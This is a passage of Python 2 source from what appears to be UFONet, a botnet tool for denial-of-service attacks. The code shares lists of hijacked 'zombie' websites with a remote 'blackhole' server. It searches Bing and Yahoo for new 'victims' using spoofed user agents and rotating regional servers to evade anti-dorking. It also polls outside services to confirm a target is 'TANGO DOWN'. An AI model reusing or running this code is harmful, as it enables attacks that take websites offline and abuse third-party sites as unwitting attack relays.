  1383. ms.close()
  1384. os.remove('community_aliens.txt.gz') # remove local aliens .gz file after transfer
  1385. time.sleep(1)
  1386. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1387. cs.connect((host, cport))
  1388. cs.send("SEND " + 'community_robots.txt.gz')
  1389. cs.close()
  1390. f = open('community_droids.txt.gz', "rb")
  1391. data = f.read()
  1392. f.close()
  1393. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1394. ms.connect((host, mport))
  1395. ms.send(data)
  1396. ms.close()
  1397. os.remove('community_droids.txt.gz') # remove local droids .gz file after transfer
  1398. time.sleep(1)
  1399. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1400. cs.connect((host, cport))
  1401. cs.send("SEND " + 'community_ucavs.txt.gz')
  1402. cs.close()
  1403. f = open('community_ucavs.txt.gz', "rb")
  1404. data = f.read()
  1405. f.close()
  1406. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1407. ms.connect((host, mport))
  1408. ms.send(data)
  1409. ms.close()
  1410. os.remove('community_ucavs.txt.gz') # remove local ucavs .gz file after transfer
  1411. time.sleep(1)
  1412. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # send data one by one recieved by multithreading
  1413. cs.connect((host, cport))
  1414. cs.send("SEND " + 'community_rpcs.txt.gz')
  1415. cs.close()
  1416. f = open('community_rpcs.txt.gz', "rb")
  1417. data = f.read()
  1418. f.close()
  1419. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1420. ms.connect((host, mport))
  1421. ms.send(data)
  1422. ms.close()
  1423. os.remove('community_rpcs.txt.gz') # remove local rpcs .gz file after transfer
  1424. time.sleep(2) # sleep a bit more
  1425. print '-'*12 + '\n'
  1426. print("[Info] - Transfer: DONE!. Thanks for your contribution ;-)\n")
  1427. except Exception, e:
  1428. print str(e) + "\n"
  1429. except:
  1430. print '-'*12 + '\n'
  1431. print("[Error] - Connecting sockets to 'blackhole'. Aborting!\n")
  1432. return
  1433. except:
  1434. print '-'*12 + '\n'
  1435. print("[Error] - Unable to upload list of 'zombies' to this 'blackhole'. ;(\n")
  1436. return #sys.exit(2)
  1437. def downloading_list(self): # add your mirror to protect/share/distribute zombies
  1438. import urllib, gzip
  1439. abductions = "abductions.txt.gz"
  1440. troops = "troops.txt.gz"
  1441. robots = "robots.txt.gz"
  1442. drones = "drones.txt.gz"
  1443. reflectors = "reflectors.txt.gz"
  1444. try:
  1445. print("Trying 'blackhole': "+self.blackhole+"\n")
  1446. if self.options.forcessl:
  1447. urllib.urlretrieve('https://'+self.blackhole+'/ufonet/abductions.txt.gz',
  1448. abductions)
  1449. urllib.urlretrieve('https://'+self.blackhole+'/ufonet/troops.txt.gz',
  1450. troops)
  1451. urllib.urlretrieve('https://'+self.blackhole+'/ufonet/robots.txt.gz',
  1452. robots)
  1453. urllib.urlretrieve('https://'+self.blackhole+'/ufonet/drones.txt.gz',
  1454. drones)
  1455. urllib.urlretrieve('https://'+self.blackhole+'/ufonet/reflectors.txt.gz',
  1456. reflectors)
  1457. else:
  1458. urllib.urlretrieve('http://'+self.blackhole+'/ufonet/abductions.txt.gz',
  1459. abductions)
  1460. urllib.urlretrieve('http://'+self.blackhole+'/ufonet/troops.txt.gz',
  1461. troops)
  1462. urllib.urlretrieve('http://'+self.blackhole+'/ufonet/robots.txt.gz',
  1463. robots)
  1464. urllib.urlretrieve('http://'+self.blackhole+'/ufonet/drones.txt.gz',
  1465. drones)
  1466. urllib.urlretrieve('http://'+self.blackhole+'/ufonet/reflectors.txt.gz',
  1467. reflectors)
  1468. print("Vortex: IS READY!")
  1469. except:
  1470. print("Vortex: FAILED!")
  1471. print '-'*12 + '\n'
  1472. print("[Error] - Unable to download list of 'zombies' from this 'blackhole'. ;(\n")
  1473. return #sys.exit(2)
  1474. print '-'*12 + '\n'
  1475. f_in_abductions = gzip.open(abductions, 'rb')
  1476. f_out_abductions = open('abductions.txt', 'wb')
  1477. f_out_abductions.write(f_in_abductions.read())
  1478. f_in_abductions.close()
  1479. f_out_abductions.close()
  1480. os.remove(abductions) # remove abductions .gz file
  1481. f_in_troops = gzip.open(troops, 'rb')
  1482. f_out_troops = open('troops.txt', 'wb')
  1483. f_out_troops.write(f_in_troops.read())
  1484. f_in_troops.close()
  1485. f_out_troops.close()
  1486. os.remove(troops) # remove troops .gz file
  1487. f_in_robots = gzip.open(robots, 'rb')
  1488. f_out_robots = open('robots.txt', 'wb')
  1489. f_out_robots.write(f_in_robots.read())
  1490. f_in_robots.close()
  1491. f_out_robots.close()
  1492. os.remove(robots) # remove abductions .gz file
  1493. f_in_drones = gzip.open(drones, 'rb')
  1494. f_out_drones = open('drones.txt', 'wb')
  1495. f_out_drones.write(f_in_drones.read())
  1496. f_in_drones.close()
  1497. f_out_drones.close()
  1498. os.remove(drones) # remove reflectors .gz file
  1499. f_in_reflectors = gzip.open(reflectors, 'rb')
  1500. f_out_reflectors = open('reflectors.txt', 'wb')
  1501. f_out_reflectors.write(f_in_reflectors.read())
  1502. f_in_reflectors.close()
  1503. f_out_reflectors.close()
  1504. os.remove(reflectors) # remove reflectors .gz file
  1505. num_abductions = 0
  1506. with open('abductions.txt') as f:
  1507. for _ in f:
  1508. num_abductions = num_abductions + 1
  1509. print("[Info] - Zombies: " + str(num_abductions))
  1510. num_robots = 0
  1511. with open('robots.txt') as f:
  1512. for _ in f:
  1513. num_robots = num_robots + 1
  1514. print("[Info] - Droids : " + str(num_robots))
  1515. num_troops = 0
  1516. with open('troops.txt') as f:
  1517. for _ in f:
  1518. num_troops = num_troops + 1
  1519. print("[Info] - Aliens : " + str(num_troops))
  1520. num_drones = 0
  1521. with open('drones.txt') as f:
  1522. for _ in f:
  1523. num_drones = num_drones + 1
  1524. print("[Info] - UCAVs : " + str(num_drones))
  1525. num_reflectors = 0
  1526. with open('reflectors.txt') as f:
  1527. for _ in f:
  1528. num_reflectors = num_reflectors + 1
  1529. print("[Info] - X-RPCs : " + str(num_reflectors))
  1530. total_zombies = num_abductions + num_troops + num_robots + num_drones + num_reflectors
  1531. print("\n[Info] - Congratulations!. Total downloaded: " + str(total_zombies))
  1532. print '-'*12
  1533. if not self.options.forceyes:
  1534. update_reply = raw_input("\nWant to merge ONLY new 'troops' in your army? (Y/n)")
  1535. print '-'*25
  1536. else:
  1537. update_reply = "Y"
  1538. if update_reply == "n" or update_reply == "N":
  1539. os.remove('abductions.txt') # remove abductions file
  1540. os.remove('troops.txt') # remove troops file
  1541. os.remove('robots.txt') # remove robots file
  1542. os.remove('drones.txt') # remove drones file
  1543. os.remove('reflectors.txt') # remove reflectors file
  1544. print "\n[Info] - List downloaded has been removed. Bye!\n"
  1545. else:
  1546. zombies_ready = []
  1547. f = open('abductions.txt')
  1548. abductions = f.readlines()
  1549. f.close()
  1550. fz = open(self.zombies_file)
  1551. zombies = fz.readlines()
  1552. fz.close()
  1553. for abduction in abductions:
  1554. abduction = abduction.replace('\n','')
  1555. if abduction not in zombies:
  1556. zombies_ready.append(abduction)
  1557. else:
  1558. pass
  1559. self.update_zombies(zombies_ready)
  1560. os.remove('abductions.txt') # remove abductions .txt file
  1561. aliens_ready = []
  1562. f = open('troops.txt')
  1563. troops = f.readlines()
  1564. f.close()
  1565. fz = open(self.aliens_file)
  1566. aliens = fz.readlines()
  1567. fz.close()
  1568. for alien in troops:
  1569. alien = alien.replace('\n','')
  1570. if alien not in aliens:
  1571. aliens_ready.append(alien)
  1572. else:
  1573. pass
  1574. self.update_aliens(aliens_ready)
  1575. os.remove('troops.txt') # remove troops .txt file
  1576. droids_ready = []
  1577. f = open('robots.txt')
  1578. robots = f.readlines()
  1579. f.close()
  1580. fz = open(self.droids_file)
  1581. droids = fz.readlines()
  1582. fz.close()
  1583. for droid in robots:
  1584. droid = droid.replace('\n','')
  1585. if droid not in droids:
  1586. droids_ready.append(droid)
  1587. else:
  1588. pass
  1589. self.update_droids(droids_ready)
  1590. os.remove('robots.txt') # remove robots .txt file
  1591. ucavs_ready = []
  1592. f = open('drones.txt')
  1593. drones = f.readlines()
  1594. f.close()
  1595. fz = open(self.ucavs_file)
  1596. ucavs = fz.readlines()
  1597. fz.close()
  1598. for drone in drones:
  1599. drone = drone.replace('\n','')
  1600. if drone not in ucavs:
  1601. ucavs_ready.append(drone)
  1602. else:
  1603. pass
  1604. self.update_ucavs(ucavs_ready)
  1605. os.remove('drones.txt') # remove drones .txt file
  1606. rpcs_ready = []
  1607. f = open('reflectors.txt')
  1608. reflectors = f.readlines()
  1609. f.close()
  1610. fz = open(self.rpcs_file)
  1611. rpcs = fz.readlines()
  1612. fz.close()
  1613. for reflector in reflectors:
  1614. reflector = reflector.replace('\n','')
  1615. if reflector not in rpcs:
  1616. rpcs_ready.append(reflector)
  1617. else:
  1618. pass
  1619. self.update_rpcs(rpcs_ready)
  1620. os.remove('reflectors.txt') # remove reflectors .txt file
  1621. print "\n[Info] - Botnet updated! ;-)\n"
  1622. self.update_transferred_stats(self.trans_zombies) # update json file with transferred stats (blackhole)
  1623. def create_web_interface(self):
  1624. # launch webserver+gui
  1625. from webgui import ClientThread
  1626. import webbrowser
  1627. host = '0.0.0.0'
  1628. port = 9999
  1629. try:
  1630. webbrowser.open('http://127.0.0.1:9999', new=1)
  1631. tcpsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1632. tcpsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  1633. tcpsock.bind((host,port))
  1634. while True:
  1635. tcpsock.listen(4)
  1636. #print "Listening for incoming connections on http://%s:%d" % (host,port)
  1637. (clientsock, (ip, port)) = tcpsock.accept()
  1638. newthread = ClientThread(ip, port, clientsock)
  1639. newthread.start()
  1640. except (KeyboardInterrupt, SystemExit):
  1641. sys.exit()
  1642. # def crawlering(self):
  1643. # # crawl target's links to discover web structure
  1644. # options = self.options
  1645. # myurl = options.crawl
  1646. # for i in re.findall('''href=["'](.[^"']+)["']''', urllib.urlopen(myurl).read(), re.I):
  1647. # print i
  1648. def extract_dorks(self):
  1649. # extract dorks from file (ex: 'dorks.txt')
  1650. try:
  1651. f = open(self.dorks_file)
  1652. dorks = f.readlines()
  1653. dorks = [ dork.replace('\n','') for dork in dorks ]
  1654. f.close()
  1655. if not dorks:
  1656. if not options.autosearch:
  1657. print "\n[Error] - Imposible to retrieve 'dorks' from file.\n"
  1658. return
  1659. else:
  1660. return dorks
  1661. except:
  1662. if not options.autosearch:
  1663. if os.path.exists(self.dorks_file) == True:
  1664. print '[Error] - Cannot open:', 'dorks.txt', "\n"
  1665. return #sys.exit(2)
  1666. else:
  1667. print '[Error] - Cannot found:', 'dorks.txt', "\n"
  1668. return #sys.exit(2)
  1669. else:
  1670. return
  1671. def search_zombies(self, dork, zombies_found):
  1672. # crawlering on search engine results to extract zombies
  1673. options = self.options
  1674. zombies = []
  1675. if not options.engine: # default search engine
  1676. options.engine = 'yahoo'
  1677. #if options.engine == 'duck': # using duck [09/08/2016: deprecated! -> duck has removed 'inurl' operator]
  1678. # url = 'https://duckduckgo.com/html/' # ex: POST -> path
  1679. # if options.search: # search from query
  1680. # q = 'inurl:"' + str(options.search) + '"' # set query to search literally on results [ deprecated ]
  1681. # if options.dorks: # search from a dork
  1682. # q = 'inurl:"' + str(dork) + '"' # set query from a dork to search literally on results [ deprecated ]
  1683. # data = 'q=' + q + '&b=&kl=us-en&kp=-1' # evade safe search
  1684. # self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  1685. # headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  1686. # if options.verbose:
  1687. # print("[Info] Query used: " + url + " [POST -> " + data + "]\n")
  1688. # try:
  1689. # req = urllib2.Request(url, data, headers)
  1690. # rsp = urllib2.urlopen(req)
  1691. # content = rsp.read()
  1692. # except:
  1693. # print('[Error] - Unable to connect to duck\n')
  1694. # if options.allengines:
  1695. # return
  1696. # if not options.dorks:
  1697. # if not self.options.forceyes:
  1698. # update_reply = raw_input("Want to try a different search engine? (Y/n)")
  1699. # else:
  1700. # update_reply = "Y"
  1701. # if update_reply == "n" or update_reply == "N":
  1702. # return #sys.exit(2)
  1703. # print "\nSearch engines available:"
  1704. # print '-'*25
  1705. # for e in self.search_engines:
  1706. # print "+ "+e
  1707. # print '-'*25
  1708. # print "\nEx: ufonet -s 'proxy.php?url=' --se 'duck'"
  1709. # return #sys.exit(2)
  1710. # else:
  1711. # req_reply = ''
  1712. # regex = '<a class="result__url" href="(.+?)"' # regex magics [05/08/2016]
  1713. # pattern = re.compile(regex)
  1714. # url_links = re.findall(pattern, req_reply)
  1715. if options.engine == 'bing': # using bing [04/02/2018: OK!]
  1716. url = 'https://www.bing.com/search?'
  1717. if options.search: # search from query
  1718. q = 'instreamset:(url):"' + str(options.search) + '"' # set query to search literally on results
  1719. if options.dorks or options.autosearch: # search from a dork
  1720. q = 'instreamset:(url):"' + str(dork) + '"' # set query from a dork to search literally on results
  1721. start = 0 # set index number of first entry
  1722. query_string = { 'q':q, 'first':start }
  1723. data = urllib.urlencode(query_string)
  1724. url = url + data
  1725. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  1726. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  1727. if options.verbose:
  1728. print("Query used: " + url + "\n")
  1729. try:
  1730. req = urllib2.Request(url, None, headers)
  1731. req_reply = urllib2.urlopen(req).read()
  1732. except:
  1733. print('[Error] Unable to connect to: bing\n')
  1734. if options.allengines or options.autosearch:
  1735. return
  1736. if not options.dorks or not options.autosearch:
  1737. if not self.options.forceyes:
  1738. update_reply = raw_input("Want to try a different search engine? (Y/n)")
  1739. else:
  1740. update_reply = "Y"
  1741. if update_reply == "n" or update_reply == "N":
  1742. return #sys.exit(2)
  1743. print "\nSearch engines available:"
  1744. print '-'*25
  1745. for e in self.search_engines:
  1746. print "+ "+e
  1747. print '-'*25
  1748. print "\nEx: ufonet -s 'proxy.php?url=' --se 'yahoo'"
  1749. return #sys.exit(2)
  1750. else:
  1751. req_reply = ''
  1752. regex = '<li class="b_algo"><h2><a href="(.+?)">' # regex magics
  1753. pattern = re.compile(regex)
  1754. url_links = re.findall(pattern, req_reply)
  1755. #elif options.engine == 'google': # google [07/10/2015: OK!] [09/08/2016: not working from TOR]
  1756. # url = 'https://www.google.com/xhtml?'
  1757. # if options.search: # search from query
  1758. # q = 'inurl:"' + str(options.search) + '"' # set query to search literally on results
  1759. # if options.dorks: # search from a dork
  1760. # q = 'inurl:"' + str(dork) + '"' # set query from a dork to search literally on results
  1761. # start = 0 # set index number of first entry
  1762. # if options.num_results: # set number of results to search
  1763. # try:
  1764. # num = int(options.num_results)
  1765. # except:
  1766. # print("You should specify an integer!!!. Using default value: 10\n")
  1767. # num = 10
  1768. # else:
  1769. # num = 10
  1770. # gws_rd = 'ssl' # set SSL as default
  1771. # query_string = { 'q':q, 'start':start, 'num':num, 'gws_rd':gws_rd }
  1772. # data = urllib.urlencode(query_string)
  1773. # url = url + data
  1774. # self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  1775. # headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  1776. # if options.verbose:
  1777. # print("Query used: " + url + "\n")
  1778. # try:
  1779. # req = urllib2.Request(url, None, headers)
  1780. # req_reply = urllib2.urlopen(req).read()
  1781. # except:
  1782. # print('[Error] - Unable to connect to google\n')
  1783. # if options.allengines:
  1784. # return
  1785. # if not options.dorks:
  1786. # if not self.options.forceyes:
  1787. # update_reply = raw_input("Want to try a different search engine? (Y/n)")
  1788. # else:
  1789. # update_reply = "Y"
  1790. # if update_reply == "n" or update_reply == "N":
  1791. # return #sys.exit(2)
  1792. # print "\nSearch engines available:"
  1793. # print '-'*25
  1794. # for e in self.search_engines:
  1795. # print "+ "+e
  1796. # print '-'*25
  1797. # print "\nEx: ufonet -s 'proxy.php?url=' --se 'bing'"
  1798. # return #sys.exit(2)
  1799. # else:
  1800. # req_reply = ''
  1801. # regex = '<h3 class="r"><a href="/url(.+?)">' # regex magics
  1802. # pattern = re.compile(regex)
  1803. # url_links = re.findall(pattern, req_reply)
  1804. elif options.engine == 'yahoo': # yahoo [27/06/2017: OK!]
  1805. #location = ['fr', 'de', 'es', 'nl', 'it', 'se', 'ch', 'jp', 'ru', 'lt'] # generate 'flags' for location servers to evade Yahoo anti-dorking on main search webpage [grey magic: 18/08/2016]
  1806. location = ['fr', 'de', 'es', 'nl', 'se', 'ch', 'ru'] # [08/04/2017]
  1807. location = str(random.choice(location).strip()) # shuffle location
  1808. url = 'https://'+location+'.search.yahoo.com/search?'
  1809. if options.search: # search from query
  1810. q = 'instreamset:(url):"' + str(options.search) + '"' # set query to search literally on results
  1811. if options.dorks or options.autosearch: # search from a dork
  1812. q = 'instreamset:(url):"' + str(dork) + '"' # set query from a dork to search literally on results
  1813. start = 0 # set index number of first entry
  1814. query_string = { 'p':q, 'b':start }
  1815. data = urllib.urlencode(query_string)
  1816. url = url + data
  1817. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  1818. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  1819. if options.verbose:
  1820. print("Query used: " + url + "\n")
  1821. try:
  1822. req = urllib2.Request(url, None, headers)
  1823. req_reply = urllib2.urlopen(req).read()
  1824. except:
  1825. print('[Error] Unable to connect to: yahoo\n')
  1826. if options.allengines or options.autosearch:
  1827. return
  1828. if not options.dorks or not options.autosearch:
  1829. if not self.options.forceyes:
  1830. update_reply = raw_input("Want to try a different search engine? (Y/n)")
  1831. else:
  1832. update_reply = "Y"
  1833. if update_reply == "n" or update_reply == "N":
  1834. return #sys.exit(2)
  1835. print "\nSearch engines available:"
  1836. print '-'*25
  1837. for e in self.search_engines:
  1838. print "+ "+e
  1839. print '-'*25
  1840. print "\nEx: ufonet -s 'proxy.php?url=' --se 'bing'"
  1841. return #sys.exit(2)
  1842. else:
  1843. req_reply = ''
  1844. #regex = '<h3 class="title"><a style="color:#2C46C7" class=" td-u" href="(.+?)" target="_blank"' # regex magics [18/08/2016]
  1845. regex = 'href="(.+?)" target="_blank" data' # regex magics [08/04/2017]
  1846. pattern = re.compile(regex)
  1847. url_links = re.findall(pattern, req_reply)
  1848. #elif options.engine == 'yandex': # yandex [07/10/2015: OK!]
  1849. # url = 'https://yandex.ru/search/?'
  1850. # if options.search: # search from query
  1851. # q = 'inurl:"' + str(options.search) + '"' # set query to search literally on results
  1852. # if options.dorks or options.autosearch: # search from a dork
  1853. # q = 'inurl:"' + str(dork) + '"' # set query from a dork to search literally on results
  1854. # start = 0 # set index number of first entry
  1855. # lr = '213' # [27/06/2017: OK!]
  1856. # query_string = { 'text':q, 'lr':lr, 'p':start }
  1857. # data = urllib.urlencode(query_string)
  1858. # url = url + data
  1859. # self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  1860. # headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  1861. # if options.verbose:
  1862. # print("Query used: " + url + "\n")
  1863. # try:
  1864. # req = urllib2.Request(url, None, headers)
  1865. # req_reply = urllib2.urlopen(req).read()
  1866. # except:
  1867. # print('[Error] - Unable to connect to yandex\n')
  1868. # if options.allengines or options.autosearch:
  1869. # return
  1870. # if not options.dorks or not options.autosearch:
  1871. # if not self.options.forceyes:
  1872. # update_reply = raw_input("Want to try a different search engine? (Y/n)")
  1873. # else:
  1874. # update_reply = "Y"
  1875. # if update_reply == "n" or update_reply == "N":
  1876. # return #sys.exit(2)
  1877. # print "\nSearch engines available:"
  1878. # print '-'*25
  1879. # for e in self.search_engines:
  1880. # print "+ "+e
  1881. # print '-'*25
  1882. # print "\nEx: ufonet -s 'proxy.php?url=' --se 'bing'"
  1883. # return #sys.exit(2)
  1884. # else:
  1885. # req_reply = ''
  1886. #regex = '<a class="link link_cropped_no serp-item__title-link" target="_blank" href="(.+?)"' # regex magics
  1887. # if 'captchaSound' in req_reply: # detecting captcha reply
  1888. # print "[Info] - This search engine is asking for a captcha...\n"
  1889. # if options.allengines or options.autosearch:
  1890. # url_links = "" # keep running!
  1891. # else:
  1892. # regex = 'target="_blank" href="(.+?)" onmousedown="rc' # [27/06/2017] regex magics
  1893. # pattern = re.compile(regex)
  1894. # url_links = re.findall(pattern, req_reply)
  1895. else: # no valid search engine
  1896. print('[Error] - This search engine is not supported!\n')
  1897. if not options.dorks or options.autosearch:
  1898. if not self.options.forceyes:
  1899. update_reply = raw_input("Want to try a different search engine? (Y/n)")
  1900. else:
  1901. update_reply = "Y"
  1902. if update_reply == "n" or update_reply == "N":
  1903. return #sys.exit(2)
  1904. print "\nSearch engines available:"
  1905. print '-'*25
  1906. for e in self.search_engines:
  1907. print "+ "+e
  1908. print '-'*25
  1909. print "\nEx: ufonet -s 'proxy.php?url=' --se 'bing'"
  1910. return #sys.exit(2)
  1911. else:
  1912. req_reply = ''
  1913. if options.num_results: # set number of results to search
  1914. try:
  1915. num = int(options.num_results)
  1916. except:
  1917. print("You should specify an integer!!!. Using default value: 10\n")
  1918. num = 10
  1919. else:
  1920. num = 10
  1921. total_results = 1
  1922. for url in url_links: # general parse on urls
  1923. if int(num) < int(total_results):
  1924. break
  1925. if options.engine == "bing":
  1926. if " h=" in url: # regex magics [18/08/2016]
  1927. url = url.rsplit('" h=',1)[0]
  1928. if options.engine == "yahoo":
  1929. if 'RU=' in url: # regex magics [18/08/2016]
  1930. url = url.rsplit('RU=',1)[1]
  1931. if 'UTF-8&u=' in url: # regex magics [05/02/2018]
  1932. url = url.rsplit('UTF-8&u=',1)[1]
  1933. #if options.engine == "yandex":
  1934. # if 'rel="' in url: # regex magics [27/06/2017]
  1935. # url = url.rsplit('rel=',1)[1]
  1936. total_results = total_results + 1 # results counter
  1937. url_link = url.strip('?q=') # parse url_links to retrieve only a url
  1938. url_link = urllib.unquote(url_link).decode('utf8') # unquote encoding
  1939. if options.search:
  1940. sep = str(options.search)
  1941. if options.dorks or options.autosearch:
  1942. sep = str(dork)
  1943. url_link = url_link.rsplit(sep, 1)[0] + sep
  1944. if 'href="' in url_link:
  1945. url_link = url_link.rsplit('href="', 1)[1]
  1946. if "instreamset" in url_link: # invalid zombie
  1947. url_link = "" # discarded
  1948. if '" ' in url_link:
  1949. url_link = url_link.rsplit('" ', 1)[1]
  1950. if options.engine in url_link:
  1951. url_link = "" # discarded
  1952. if 'http' not in url_link:
  1953. url_link = "" # discarded
  1954. else:
  1955. if url_link not in zombies and url_link+os.linesep not in zombies_found and url_link is not "": # AI mode (parsing search engines mixed pool and stored army)
  1956. print('+Victim found: ' + url_link)
  1957. print '-'*12
  1958. zombies.append(url_link)
  1959. else:
  1960. pass
  1961. if len(zombies) == 0: # print dorking results
  1962. print "[Info] - NOT any NEW victim(s) found for this query!"
  1963. if not options.dorks:
  1964. if not options.autosearch:
  1965. if not self.options.forceyes:
  1966. return #sys.exit(2)
  1967. print "\n" + '-'*44 + '\n'
  1968. self.total_possible_zombies = self.total_possible_zombies + len(zombies)
  1969. return zombies
  1970. def check_nat(self):
  1971. # check for NAT configuration
  1972. options = self.options
  1973. tor_reply = urllib2.urlopen("https://check.torproject.org").read() # check if TOR is enabled
  1974. your_ip = tor_reply.split('<strong>')[1].split('</strong>')[0].strip()
  1975. if not tor_reply or 'Congratulations' not in tor_reply:
  1976. print("[Info] It seems that you are not using TOR to recieve data. Good!\n")
  1977. else:
  1978. print("[Error] You are using TOR as public IP... It's not possible to NAT!\n")
  1979. self.nat_error_flag = "ON"
  1980. return #sys.exit(2)
  1981. try:
  1982. if options.forcessl:
  1983. data = str(urlopen('https://checkip.dyndns.com/').read()) # check for public ip
  1984. else:
  1985. data = str(urlopen('http://checkip.dyndns.com/').read()) # check for public ip
  1986. self.pub_ip = re.compile(r'Address: (\d+\.\d+\.\d+\.\d+)').search(data).group(1)
  1987. except:
  1988. try: # another check for public ip
  1989. if options.forcessl:
  1990. data = str(urlopen('https://whatismyip.org/').read())
  1991. else:
  1992. data = str(urlopen('http://whatismyip.org/').read())
  1993. self.pub_ip = re.compile(r'">(\d+\.\d+\.\d+\.\d+)</span>').search(data).group(1)
  1994. except:
  1995. print("[Error] Something wrong checking your public IP using an external service. Try it again!\n")
  1996. self.nat_error_flag = "ON"
  1997. return #sys.exit(2)
  1998. print " + Public: " + self.pub_ip + "\n"
  1999. s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  2000. s.connect(('8.8.8.8', 0)) # connecting to a UDP address doesn't send packets (black magic)
  2001. self.local_ip = s.getsockname()[0]
  2002. print " + Local: " + self.local_ip + "\n"
  2003. print '='*22 + '\n'
  2004. def extract_ucavs(self):
  2005. # extract ucavs from file
  2006. options = self.options
  2007. try:
  2008. f = open(self.ucavs_file)
  2009. ucavs = f.readlines()
  2010. ucavs = [ ucav.replace('\n','') for ucav in ucavs ]
  2011. f.close()
  2012. if not ucavs:
  2013. print "\n[Error] - Imposible to retrieve 'ucavs' from file.\n"
  2014. return
  2015. else:
  2016. return ucavs
  2017. except:
  2018. if os.path.exists(self.ucavs_file) == True:
  2019. print '\n[Error] - Cannot open:', 'ucavs.txt', "\n"
  2020. return #sys.exit(2)
  2021. else:
  2022. print '\n[Error] - Cannot found:', 'ucavs.txt', "\n"
  2023. return #sys.exit(2)
  2024. def check_is_up(self, target):
  2025. # extract external status checkers, perform a request and check results
  2026. options = self.options
  2027. num_is_up = 0 # counter for 'up' reports
  2028. num_is_down = 0 # counter for 'down' reports
  2029. print "\n[Info] Flying some UCAV with 'heat-beam' weapons...\n"
  2030. ucavs = self.extract_ucavs() # extract ucavs from file
  2031. self.total_ucavs = len(ucavs) # add total of ucavs to stats
  2032. shuffle(ucavs) # shuffle ucavs
  2033. for ucav in ucavs:
  2034. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2035. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2036. if target.startswith("http://"): # parse target for some checkers
  2037. target = target.replace('http://','')
  2038. elif target.startswith("https://"):
  2039. target = target.replace('https://','')
  2040. url = ucav + target
  2041. if options.verbose:
  2042. print("[Info] Sniping: " + url)
  2043. try:
  2044. if options.proxy: # set proxy
  2045. self.proxy_transport(options.proxy)
  2046. req = urllib2.Request(url, None, headers)
  2047. target_reply = urllib2.urlopen(req).read()
  2048. else:
  2049. req = urllib2.Request(url, None, headers)
  2050. target_reply = urllib2.urlopen(req, context=self.ctx).read()
  2051. self.ucavs_hit = self.ucavs_hit + 1 # add ucav hit to stats
  2052. except:
  2053. print "[Error] UCAV: " + ucav + " -> FAILED (cannot connect!)"
  2054. self.ucavs_fail = self.ucavs_fail + 1 # add ucav fail to stats
  2055. target_reply = ""
  2056. if target_reply == "":
  2057. pass
  2058. else:
  2059. if not "is down" or not "looks down" in target_reply: # parse external service for reply
  2060. print "[Info] UCAV: " + ucav + " -> HIT! || Report: ONLINE! [Keep shooting!]"
  2061. num_is_up = num_is_up + 1
  2062. else:
  2063. print "[Info] UCAV: " + ucav + " -> FAILED? || Report: Target looks OFFLINE from here!!! ;-)"
  2064. num_is_down = num_is_down + 1
  2065. if num_is_down > 0 and num_is_up == 0: # check for: 1 or more down, 0 up
  2066. print "\n[Info] Congratulations!. Your target looks OFFLINE from external sources...\n"
  2067. if not self.options.forceyes:
  2068. update_reply = raw_input("Want to send a [HEAD] check request from your proxy? (y/N)")
  2069. print "\n" + '-'*25
  2070. else:
  2071. update_reply = "N"
  2072. if update_reply == "y" or update_reply == "Y":
  2073. try: # send HEAD connection
  2074. self.head = True
  2075. reply = self.connect_zombie(target)
  2076. self.head = False
  2077. if reply:
  2078. print "\n[Info] Wow! Target is replying you... [Keep shooting!]\n"
  2079. else:
  2080. print "\n[Info] #UFONet TANGO DOWN!!! ;_) -> " +target + "\n"
  2081. self.update_targets_crashed() # update targets crashed stats
  2082. self.update_mothership_stats() # update mothership completed attack stats
  2083. if self.options.web:
  2084. return
  2085. else:
  2086. sys.exit(2) # Debug traceback (without crash) for celebrate it! ;-)
  2087. except Exception:
  2088. print "\n[Error] Something wrong with your connection!\n"
  2089. if self.options.verbose:
  2090. traceback.print_exc()
  2091. return #sys.exit(2)
  2092. else:
  2093. print "\n[Info] #UFONet TANGO DOWN!!! ;_) -> " +target + "\n"
  2094. self.update_targets_crashed() # update targets crashed stats
  2095. self.update_mothership_stats() # update mothership completed attack stats
  2096. if self.options.web:
  2097. return
  2098. else:
  2099. sys.exit(2) # Debug traceback (without crash...) for celebrate it! ;-)
  2100. def extract_median(self, num_list):
  2101. # extract median form a list of numbers
  2102. num_list.sort()
  2103. z = len(num_list)
  2104. if not z%2:
  2105. return (float(num_list[(z/2)-1])+float(num_list[z/2]))/2
  2106. else:
  2107. return float(num_list[z/2])
  2108. def check_is_loading(self, target):
  2109. # perform a broadband test (using GET) to analize target's reply to the traffic generated each round
  2110. self.start = None
  2111. self.stop = None
  2112. print '\n---------'
  2113. print "\n[Info] Scanning target to check for levels on defensive shields...\n"
  2114. if target.endswith(""):
  2115. target.replace("", "/")
  2116. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2117. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2118. try:
  2119. req = urllib2.Request(target, None, headers)
  2120. if self.options.proxy: # set proxy
  2121. self.proxy_transport(self.options.proxy)
  2122. self.start = time.time()
  2123. target_reply = urllib2.urlopen(req).read()
  2124. header = urllib2.urlopen(req).info()
  2125. self.stop = time.time()
  2126. else:
  2127. self.start = time.time()
  2128. target_reply = urllib2.urlopen(req, context=self.ctx).read()
  2129. header = urllib2.urlopen(req).info()
  2130. self.stop = time.time()
  2131. except:
